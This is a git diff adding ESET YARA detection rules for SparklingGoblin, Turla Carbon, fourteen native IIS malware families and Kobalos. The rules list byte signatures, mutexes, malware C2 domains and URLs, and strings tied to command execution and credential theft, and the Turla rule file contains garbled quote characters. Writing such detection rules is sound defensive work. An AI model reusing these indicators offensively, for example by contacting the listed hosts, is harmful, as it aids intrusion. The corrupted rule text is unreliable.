+            45 33 D1
+            41 C1 C2 08
+            45 03 FA
+            41 8B DF
+            33 D8
+            8B 45 ??
+            03 C1
+            C1 C3 07
+            44 33 D0
+            89 45 ??
+            41 C1 C2 10
+            45 03 E2
+            41 8B C4
+            33 C1
+            8B 4D ??
+            C1 C0 0C
+            03 C8
+            44 33 D1
+            89 4D ??
+            89 4D ??
+            41 C1 C2 08
+            45 03 E2
+            41 8B CC
+            33 C8
+            8B 45 ??
+            C1 C1 07
+            89 4D ??
+            89 4D ??
+            03 C2
+            45 03 C8
+            89 45 ??
+            33 C7
+            C1 C0 10
+            44 03 F8
+            41 8B CF
+            33 CA
+            8B 55 ??
+            C1 C1 0C
+            03 D1
+            8B FA
+            89 55 ??
+            33 F8
+            89 55 ??
+            8B 55 ??
+            03 D3
+            C1 C7 08
+            44 03 FF
+            41 8B C7
+            33 C1
+            C1 C0 07
+            89 45 ??
+            89 45 ??
+            8B C2
+            33 C6
+            C1 C0 10
+            44 03 D8
+            41 33 DB
+            C1 C3 0C
+            03 D3
+            8B F2
+            89 55 ??
+            33 F0
+            41 8B C1
+            41 33 C6
+            C1 C6 08
+            C1 C0 10
+            44 03 DE
+            44 03 E8
+            41 33 DB
+            41 8B CD
+            C1 C3 07
+            41 33 C8
+            44 8B 45 ??
+            C1 C1 0C
+            44 03 C9
+            45 8B F1
+            44 33 F0
+            41 C1 C6 08
+            45 03 EE
+            41 8B C5
+            33 C1
+            8B 4D ??
+            C1 C0 07
+        }
+
+    condition:
+        any of them and filesize < 450KB
+
+}
+
+rule SparklingGoblin_EtwEventWrite
+{
+    meta:
+        author = "ESET Research"
+        copyright = "ESET Research"
+        description = "SparklingGoblin EtwEventWrite patching"
+        date = "2021-05-20"
+        reference = "http://welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+
+        hash = "2EDBEA43F5C40C867E5B6BBD93CC972525DF598B"
+        hash = "B6D245D3D49B06645C0578804064CE0C072CBE0F"
+        hash = "8BE6D5F040D0085C62B1459AFC627707B0DE89CF"
+        hash = "4668302969FE122874FB2447A80378DCB671C86B"
+        hash = "9BDECB08E16A23D271D0A3E836D9E7F83D7E2C3B"
+        hash = "9CE7650F2C08C391A35D69956E171932D116B8BD"
+
+    strings:
+        // 64-bits version
+        $chunk_1 = {
+            48 8D 0D ?? ?? ?? ??
+            C7 44 24 ?? 48 31 C0 C3
+            FF 15 ?? ?? ?? ??
+            48 8B C8
+            48 8D 15 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ??
+            83 64 24 ?? 00
+            4C 8D 4C 24 ??
+            BF 04 00 00 00
+            48 8B C8
+            8B D7
+            48 8B D8
+            44 8D 47 ??
+            FF 15 ?? ?? ?? ??
+            44 8B C7
+            48 8D 54 24 ??
+            48 8B CB
+            E8 ?? ?? ?? ??
+            44 8B 44 24 ??
+            4C 8D 4C 24 ??
+            8B D7
+            48 8B CB
+            FF 15 ?? ?? ?? ??
+            48 8B 05 ?? ?? ?? ??
+        }
+        // 32-bits version
+        $chunk_2 = {
+            55
+            8B EC
+            51
+            51
+            57
+            68 08 1A 41 00
+            66 C7 45 ?? C2 14
+            C6 45 ?? 00
+            FF 15 ?? ?? ?? ??
+            68 10 1A 41 00
+            50
+            FF 15 ?? ?? ?? ??
+            83 65 ?? 00
+            8B F8
+            8D 45 ??
+            50
+            6A 40
+            6A 03
+            57
+            FF 15 ?? ?? ?? ??
+            6A 03
+            8D 45 ??
+            50
+            57
+            E8 ?? ?? ?? ??
+            83 C4 0C
+            8D 45 ??
+            50
+            FF 75 ??
+            6A 03
+            57
+            FF 15 ?? ?? ?? ??
+        }
+        // 64-bits version
+        $chunk_3 = {
+            48 8D 0D ?? ?? ?? ??
+            C7 44 24 ?? 48 31 C0 C3
+            FF 15 ?? ?? ?? ??
+            48 8B C8
+            48 8D 15 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ??
+        }
+
+    condition:
+        any of them
+}
+
+rule SparklingGoblin_Mutex
+{
+    meta:
+        author = "ESET Research"
+        copyright = "ESET Research"
+        description = "SparklingGoblin ChaCha20 loaders mutexes"
+        date = "2021-05-20"
+        reference = "http://welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+
+        hash = "2EDBEA43F5C40C867E5B6BBD93CC972525DF598B"
+        hash = "B6D245D3D49B06645C0578804064CE0C072CBE0F"
+        hash = "8BE6D5F040D0085C62B1459AFC627707B0DE89CF"
+        hash = "4668302969FE122874FB2447A80378DCB671C86B"
+        hash = "9BDECB08E16A23D271D0A3E836D9E7F83D7E2C3B"
+        hash = "9CE7650F2C08C391A35D69956E171932D116B8BD"
+
+    strings:
+        $mutex_1 = "kREwdFrOlvASgP4zWZyV89m6T2K0bIno"
+        $mutex_2 = "v5EPQFOImpTLaGZes3Nl1JSKHku8AyCw"
+
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/eset/Turla_Carbon.yar b/yara-mikesxrs/eset/Turla_Carbon.yar
new file mode 100644
index 0000000..c0d3ef3
--- /dev/null
+++ b/yara-mikesxrs/eset/Turla_Carbon.yar
@@ -0,0 +1,28 @@
+import “pe�
+
+rule generic_carbon
+{
+ meta:
+  author = "ESET Research"
+  date = "2017-03-30"
+  description = "Turla Carbon malware"
+  reference = "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
+strings:
+  $s1 = “ModStart�
+  $s2 = “ModuleStart�
+  $t1 = “STOP|OK�
+  $t2 = “STOP|KILL�
+condition:
+  (uint16(0) == 0x5a4d) and (1 of ($s*)) and (1 of ($t*))
+}
+
+rule carbon_metadata
+{
+ meta:
+  author = "ESET Research"
+  date = "2017-03-30"
+  description = "Turla Carbon malware"
+  reference = "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
+condition:
+  (pe.version_info[“InternalName�] contains “SERVICE.EXE� or pe.version_info[“InternalName�] contains “MSIMGHLP.DLL� or pe.version_info[“InternalName�] contains “MSXIML.DLL�) and pe.version_info[“CompanyName�] contains “Microsoft Corporation�
+}
diff --git a/yara-mikesxrs/eset/badiis.yar b/yara-mikesxrs/eset/badiis.yar
new file mode 100644
index 0000000..b9502c5
--- /dev/null
+++ b/yara-mikesxrs/eset/badiis.yar
@@ -0,0 +1,552 @@
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These YARA rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2021, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+import "pe"
+
+private rule IIS_Native_Module {
+    meta:
+        description = "Signature to match an IIS native module (clean or malicious)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $e1 = "This module subscribed to event"
+        $e2 = "CHttpModule::OnBeginRequest"
+        $e3 = "CHttpModule::OnPostBeginRequest"
+        $e4 = "CHttpModule::OnAuthenticateRequest"
+        $e5 = "CHttpModule::OnPostAuthenticateRequest"
+        $e6 = "CHttpModule::OnAuthorizeRequest"
+        $e7 = "CHttpModule::OnPostAuthorizeRequest"
+        $e8 = "CHttpModule::OnResolveRequestCache"
+        $e9 = "CHttpModule::OnPostResolveRequestCache"
+        $e10 = "CHttpModule::OnMapRequestHandler"
+        $e11 = "CHttpModule::OnPostMapRequestHandler"
+        $e12 = "CHttpModule::OnAcquireRequestState"
+        $e13 = "CHttpModule::OnPostAcquireRequestState"
+        $e14 = "CHttpModule::OnPreExecuteRequestHandler"
+        $e15 = "CHttpModule::OnPostPreExecuteRequestHandler"
+        $e16 = "CHttpModule::OnExecuteRequestHandler"
+        $e17 = "CHttpModule::OnPostExecuteRequestHandler"
+        $e18 = "CHttpModule::OnReleaseRequestState"
+        $e19 = "CHttpModule::OnPostReleaseRequestState"
+        $e20 = "CHttpModule::OnUpdateRequestCache"
+        $e21 = "CHttpModule::OnPostUpdateRequestCache"
+        $e22 = "CHttpModule::OnLogRequest"
+        $e23 = "CHttpModule::OnPostLogRequest"
+        $e24 = "CHttpModule::OnEndRequest"
+        $e25 = "CHttpModule::OnPostEndRequest"
+        $e26 = "CHttpModule::OnSendResponse"
+        $e27 = "CHttpModule::OnMapPath"
+        $e28 = "CHttpModule::OnReadEntity"
+        $e29 = "CHttpModule::OnCustomRequestNotification"
+        $e30 = "CHttpModule::OnAsyncCompletion"
+        $e31 = "CGlobalModule::OnGlobalStopListening"
+        $e32 = "CGlobalModule::OnGlobalCacheCleanup"
+        $e33 = "CGlobalModule::OnGlobalCacheOperation"
+        $e34 = "CGlobalModule::OnGlobalHealthCheck"
+        $e35 = "CGlobalModule::OnGlobalConfigurationChange"
+        $e36 = "CGlobalModule::OnGlobalFileChange"
+        $e37 = "CGlobalModule::OnGlobalApplicationStart"
+        $e38 = "CGlobalModule::OnGlobalApplicationResolveModules"
+        $e39 = "CGlobalModule::OnGlobalApplicationStop"
+        $e40 = "CGlobalModule::OnGlobalRSCAQuery"
+        $e41 = "CGlobalModule::OnGlobalTraceEvent"
+        $e42 = "CGlobalModule::OnGlobalCustomNotification"
+        $e43 = "CGlobalModule::OnGlobalThreadCleanup"
+        $e44 = "CGlobalModule::OnGlobalApplicationPreload"    
+    
+    condition:
+        uint16(0) == 0x5A4D and pe.exports("RegisterModule") and any of ($e*)
+}
+
+rule IIS_Group01_IISRaid {
+
+    meta:
+        description = "Detects Group 1 native IIS malware family (IIS-Raid derivates)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "cmd.exe" ascii wide
+        $s2 = "CMD"
+        $s3 = "PIN"
+        $s4 = "INJ"
+        $s5 = "DMP"
+        $s6 = "UPL"
+        $s7 = "DOW"
+        $s8 = "C:\\Windows\\System32\\credwiz.exe" ascii wide
+        
+        $p1 = "C:\\Windows\\Temp\\creds.db"
+        $p2 = "C:\\Windows\\Temp\\thumbs.db"
+        $p3 = "C:\\Windows\\Temp\\AAD30E0F.tmp"
+        $p4 = "X-Chrome-Variations"
+        $p5 = "X-Cache"
+        $p6 = "X-Via"
+        $p7 = "COM_InterProt"
+        $p8 = "X-FFEServer"
+        $p9 = "X-Content-Type-Options"
+        $p10 = "Strict-Transport-Security"
+        $p11 = "X-Password"
+        $p12 = "XXXYYY-Ref"
+        $p13 = "X-BLOG"
+        $p14 = "X-BlogEngine"
+
+    condition:
+        IIS_Native_Module and 3 of ($s*) and any of ($p*)
+}
+
+rule IIS_Group02 {
+
+    meta:
+        description = "Detects Group 2 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "HttpModule.pdb" ascii wide
+        $s2 = "([\\w+%]+)=([^&]*)"
+        $s3 = "([\\w+%]+)=([^!]*)"
+        $s4 = "cmd.exe"
+        $s5 = "C:\\Users\\Iso\\Documents\\Visual Studio 2013\\Projects\\IIS 5\\x64\\Release\\Vi.pdb" ascii wide
+        $s6 = "AVRSAFunction"
+
+    condition:
+        IIS_Native_Module and 3 of ($s*)
+}
+
+rule IIS_Group03 {
+
+    meta:
+        description = "Detects Group 3 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "IIS-Backdoor.dll" 
+        $s2 = "CryptStringToBinaryA"
+        $s3 = "CreateProcessA"
+        $s4 = "X-Cookie"
+
+    condition:
+        IIS_Native_Module and 3 of ($s*)
+}
+
+rule IIS_Group04_RGDoor {
+
+    meta:
+        description = "Detects Group 4 native IIS malware family (RGDoor)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        reference = "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $i1 = "RGSESSIONID="
+        $s2 = "upload$"
+        $s3 = "download$"
+        $s4 = "cmd$"
+        $s5 = "cmd.exe"
+
+    condition:
+        IIS_Native_Module and ($i1 or all of ($s*))
+}
+
+rule IIS_Group05_IIStealer {
+
+    meta:
+        description = "Detects Group 5 native IIS malware family (IIStealer)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "tojLrGzFMbcDTKcH" ascii wide
+        $s2 = "4vUOj3IutgtrpVwh" ascii wide
+        $s3 = "SoUnRCxgREXMu9bM" ascii wide
+        $s4 = "9Zr1Z78OkgaXj1Xr" ascii wide
+        $s5 = "cache.txt" ascii wide
+        $s6 = "/checkout/checkout.aspx" ascii wide
+        $s7 = "/checkout/Payment.aspx" ascii wide
+        $s8 = "/privacy.aspx"
+        $s9 = "X-IIS-Data"
+        $s10 = "POST"
+
+        // string stacking of "/checkout/checkout.aspx"
+        $s11 = {C7 ?? CF 2F 00 63 00 C7 ?? D3 68 00 65 00 C7 ?? D7 63 00 6B 00 C7 ?? DB 6F 00 75 00 C7 ?? DF 74 00 2F 00 C7 ?? E3 63 00 68 00 C7 ?? E7 65 00 63 00 C7 ?? EB 6B 00 6F 00 C7 ?? EF 75 00 74 00 C7 ?? F3 2E 00 61 00 C7 ?? F7 73 00 70 00 C7 ?? FB 78 00 00 00}
+
+        // string stacking of "/privacy.aspx"
+        $s12 = {C7 ?? AF 2F 00 70 00 C7 ?? B3 72 00 69 00 C7 ?? B7 76 00 61 00 C7 ?? BB 63 00 79 00 C7 ?? BF 2E 00 61 00 C7 ?? C3 73 00 70 00 C7 ?? C7 78 00 00 00}
+
+    condition:
+        IIS_Native_Module and 3 of ($s*)
+}
+
+rule IIS_Group06_ISN {
+
+    meta:
+        description = "Detects Group 6 native IIS malware family (ISN)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        reference = "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "isn7 config reloaded"
+        $s2 = "isn7 config NOT reloaded, not found or empty"
+        $s3 = "isn7 log deleted"
+        $s4 = "isn7 log not deleted, ERROR 0x%X"
+        $s5 = "isn7 log NOT found"
+        $s6 = "isn_reloadconfig"
+        $s7 = "D:\\soft\\Programming\\C++\\projects\\isapi\\isn7"
+        $s8 = "get POST failed %d"
+        $s9 = "isn7.dll"
+
+    condition:
+        IIS_Native_Module and 3 of ($s*)
+}
+
+rule IIS_Group07_IISpy {
+
+    meta:
+        description = "Detects Group 7 native IIS malware family (IISpy)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "/credential/username"
+        $s2 = "/credential/password"
+        $s3 = "/computer/domain"
+        $s4 = "/computer/name"
+        $s5 = "/password"
+        $s6 = "/cmd"
+        $s7 = "%.8s%.8s=%.8s%.16s%.8s%.16s"
+        $s8 = "ImpersonateLoggedOnUser"
+        $s9 = "WNetAddConnection2W"
+
+        $t1 = "X-Forwarded-Proto"
+        $t2 = "Sec-Fetch-Mode"
+        $t3 = "Sec-Fetch-Site"
+        $t4 = "Cookie"
+
+        // PNG IEND
+        $t5 = {49 45 4E 44 AE 42 60 82}
+
+        // PNG HEADER
+        $t6 = {89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52}
+
+    condition:
+        IIS_Native_Module and 2 of ($s*) and any of ($t*)
+}
+
+rule IIS_Group08 {
+
+    meta:
+        description = "Detects Group 8 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $i1 = "FliterSecurity.dll"
+        $i2 = "IIS7NativeModule.dll"
+        $i3 = "Ver1.0."
+
+        $s1 = "Cmd"
+        $s2 = "Realy path : %s"
+        $s3 = "Logged On Users : %d"
+        $s4 = "Connect OK!"
+        $s5 = "You are fucked!"
+        $s6 = "Shit!Error"
+        $s7 = "Where is the God!!"
+        $s8 = "Shit!Download False!"
+        $s9 = "Good!Run OK!"
+        $s10 = "Shit!Run False!"
+        $s11 = "Good!Download OK!"
+        $s12 = "[%d]safedog"
+        $s13 = "ed81bfc09d069121"
+        $s14 = "a9478ef01967d190"
+        $s15 = "af964b7479e5aea2"
+        $s16 = "1f9e6526bea65b59"
+        $s17 = "2b9e9de34f782d31"
+        $s18 = "33cc5da72ac9d7bb"
+        $s19 = "b1d71f4c2596cd55"
+        $s20 = "101fb9d9e86d9e6c"
+    
+    condition:
+        IIS_Native_Module and 1 of ($i*) and 3 of ($s*)
+}
+
+rule IIS_Group09 {
+
+    meta:
+        description = "Detects Group 9 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $i1 = "FliterSecurity.dll"
+        $i2 = {56565656565656565656565656565656}
+        $i3 = "app|hot|alp|svf|fkj|mry|poc|doc|20" xor
+        $i4 = "yisouspider|yisou|soso|sogou|m.sogou|sogo|sogou|so.com|baidu|bing|360" xor
+        $i5 = "baidu|m.baidu|soso|sogou|m.sogou|sogo|sogou|so.com|google|youdao" xor
+        $i6 = "118|abc|1go|evk" xor
+
+        $s1 = "AVCFuckHttpModuleFactory"
+        $s2 = "X-Forward"
+        $s3 = "fuck32.dat"
+        $s4 = "fuck64.dat"
+        $s5 = "&ipzz1="
+        $s6 = "&ipzz2="
+        $s7 = "&uuu="
+
+        $s8 = "http://20.3323sf.c" xor
+        $s9 = "http://bj.whtjz.c" xor
+        $s10 = "http://bj2.wzrpx.c" xor
+        $s11 = "http://cs.whtjz.c" xor
+        $s12 = "http://df.e652.c" xor
+        $s13 = "http://dfcp.yyphw.c" xor
+        $s14 = "http://es.csdsx.c" xor
+        $s15 = "http://hz.wzrpx.c" xor
+        $s16 = "http://id.3323sf.c" xor
+        $s17 = "http://qp.008php.c" xor
+        $s18 = "http://qp.nmnsw.c" xor
+        $s19 = "http://sc.300bt.c" xor
+        $s20 = "http://sc.wzrpx.c" xor
+        $s21 = "http://sf2223.c" xor
+        $s22 = "http://sx.cmdxb.c" xor
+        $s23 = "http://sz.ycfhx.c" xor
+        $s24 = "http://xpq.0660sf.c" xor
+        $s25 = "http://xsc.b1174.c" xor
+
+    condition:
+        IIS_Native_Module and any of ($i*) and 3 of ($s*)
+}
+
+rule IIS_Group10 {
+
+    meta:
+        description = "Detects Group 10 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $s1 = "IIS7.dll"
+        $s2 = "<title>(.*?)title(.*?)>"
+        $s3 = "<meta(.*?)name(.*?)=(.*?)keywords(.*?)>"
+        $s4 = "<meta(.*?)name(.*?)=(.*?)description(.*?)>"
+        $s5 = "js.breakavs.co"
+        $s6 = "&#24494;&#20449;&#32676;&#45;&#36187;&#36710;&#80;&#75;&#49;&#48;&#32676;&#12304;&#36827;&#32676;&#24494;&#20449;&#102;&#117;&#110;&#53;&#55;&#54;&#52;&#52;&#12305;&#95;&#24184;&#36816;&#39134;&#33351;&#95;&#24184;&#36816;&#50;&#56;&#32676;"
+        $s7 = "&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#80;&#75;&#49;&#48;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24494;&#20449;&#32676;&#44;&#80;&#75;&#49;&#48;&#24494;&#20449;&#32676;&#44;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#32676;&#44;"
+        $s8 = "&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#12304;&#36827;&#32676;&#24494;&#20449;&#21495;&#102;&#117;&#110;&#53;&#55;&#54;&#52;&#52;&#12305;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;"
+
+        $e1 = "Baiduspider"
+        $e2 = "Sosospider"
+        $e3 = "Sogou web spider"
+        $e4 = "360Spider"
+        $e5 = "YisouSpider"
+        $e6 = "sogou.com"
+        $e7 = "soso.com"
+        $e8 = "uc.cn"
+        $e9 = "baidu.com"
+        $e10 = "sm.cn"
+
+    condition:
+        IIS_Native_Module and 2 of ($e*) and 3 of ($s*)
+}
+
+rule IIS_Group11 {
+
+    meta:
+        description = "Detects Group 11 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $s1 = "DnsQuery_A"
+        $s2 = "&reurl="
+        $s3 = "&jump=1"
+
+        // encrypted "HTTP_cmd" (SUB 2)
+        $s4 = "JVVRaeof" 
+
+        // encrypted "lanke88" (SUB 2)
+        $s5 = "ncpmg::0"
+
+        // encrypted "xinxx.allsoulu[.]com" (SUB 2)
+        $s6 = "zkpzz0cnnuqwnw0eqo" 
+
+        // encrypted "http://www.allsoulu[.]com/1.php?cmdout=" (SUB 2)
+        $s7 = "jvvr<11yyy0cnnuqwnw0eqo130rjrAeofqwv?"
+
+    condition:
+        IIS_Native_Module and 3 of ($s*)
+}
+
+rule IIS_Group12 {
+
+    meta:
+        description = "Detects Group 12 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $s1 = "C:\\inetpub\\temp\\IIS Temporary Compressed Files\\"
+        $s2 = "F5XFFHttpModule.dll"
+        $s3 = "gtest_redir"
+        $s4 = "\\cmd.exe" nocase
+        $s5 = "iuuq;00" // encrypted "http://" (ADD 1)
+        $s6 = "?xhost="
+        $s7 = "&reurl="
+        $s8 = "?jump=1"
+        $s9 = "app|zqb"
+        $s10 = "ifeng|ivc|sogou|so.com|baidu|google|youdao|yahoo|bing|118114|biso|gougou|sooule|360|sm|uc"
+        $s11 = "sogou|so.com|baidu|google|youdao|yahoo|bing|gougou|sooule|360|sm.cn|uc"
+        $s12 = "Hotcss/|Hotjs/"
+        $s13 = "HotImg/|HotPic/"
+        $s14 = "msf connect error !!"
+        $s15 = "download ok !!"
+        $s16 = "download error !! "
+        $s17 = "param error !!"
+        $s18 = "Real Path: "
+        $s19 = "unknown cmd !"
+
+        // hardcoded hash values
+        $b1 = {15 BD 01 2E [-] 5E 40 08 97 [-] CF 8C BE 30 [-] 28 42 C6 3B}
+        $b2 = {E1 0A DC 39 [-] 49 BA 59 AB [-] BE 56 E0 57 [-] F2 0F 88 3E}
+
+    condition:
+        IIS_Native_Module and 5 of them
+}
+
+rule IIS_Group13_IISerpent {
+
+    meta:
+        description = "Detects Group 13 native IIS malware family (IISerpent)"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $s1 = "/mconfig/lunlian.txt"
+        $s2 = "http://sb.qrfy.ne"
+        $s3 = "folderlinkpath"
+        $s4 = "folderlinkcount"
+        $s5 = "onlymobilespider"
+        $s6 = "redirectreferer"
+        $s7 = "loadSuccessfull : "
+        $s8 = "spider"
+        $s9 = "<a href="
+        $s11 = "?ReloadModuleConfig=1"
+        $s12 = "?DisplayModuleConfig=1"
+
+    condition:
+        IIS_Native_Module and 5 of them
+}
+
+rule IIS_Group14 {
+
+    meta:
+        description = "Detects Group 14 native IIS malware family"
+        author = "ESET Research"
+        date = "2021-08-04"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings: 
+        $i1 = "agent-self: %s"
+        $i2 = "/utf.php?key="
+        $i3 = "/self.php?v="
+        $i4 = "<script type=\"text/javascript\" src=\"//speed.wlaspsd.co"
+        $i5 = "now.asmkpo.co"
+
+        $s1 = "Baiduspider"
+        $s2 = "360Spider"
+        $s3 = "Sogou"
+        $s4 = "YisouSpider"
+        $s6 = "HTTP_X_FORWARDED_FOR"
+
+
+    condition:
+        IIS_Native_Module and 2 of ($i*) or 5 of them
+}
diff --git a/yara-mikesxrs/eset/kobalos.yar b/yara-mikesxrs/eset/kobalos.yar
new file mode 100644
index 0000000..17207d7
--- /dev/null
+++ b/yara-mikesxrs/eset/kobalos.yar
@@ -0,0 +1,57 @@
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These YARA rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2020, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+rule kobalos
+{
+    meta:
+        description = "Kobalos malware"
+        author = "Marc-Etienne M.Léveillé"
+        date = "2020-11-02"
+        reference = "http://www.welivesecurity.com"
+        reference2 = "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $encrypted_strings_sizes = {
+            05 00 00 00 09 00 00 00  04 00 00 00 06 00 00 00
+            08 00 00 00 08 00 00 00  02 00 00 00 02 00 00 00
+            01 00 00 00 01 00 00 00  05 00 00 00 07 00 00 00
+            05 00 00 00 05 00 00 00  05 00 00 00 0A 00 00 00
+        }
+        $password_md5_digest = { 3ADD48192654BD558A4A4CED9C255C4C }
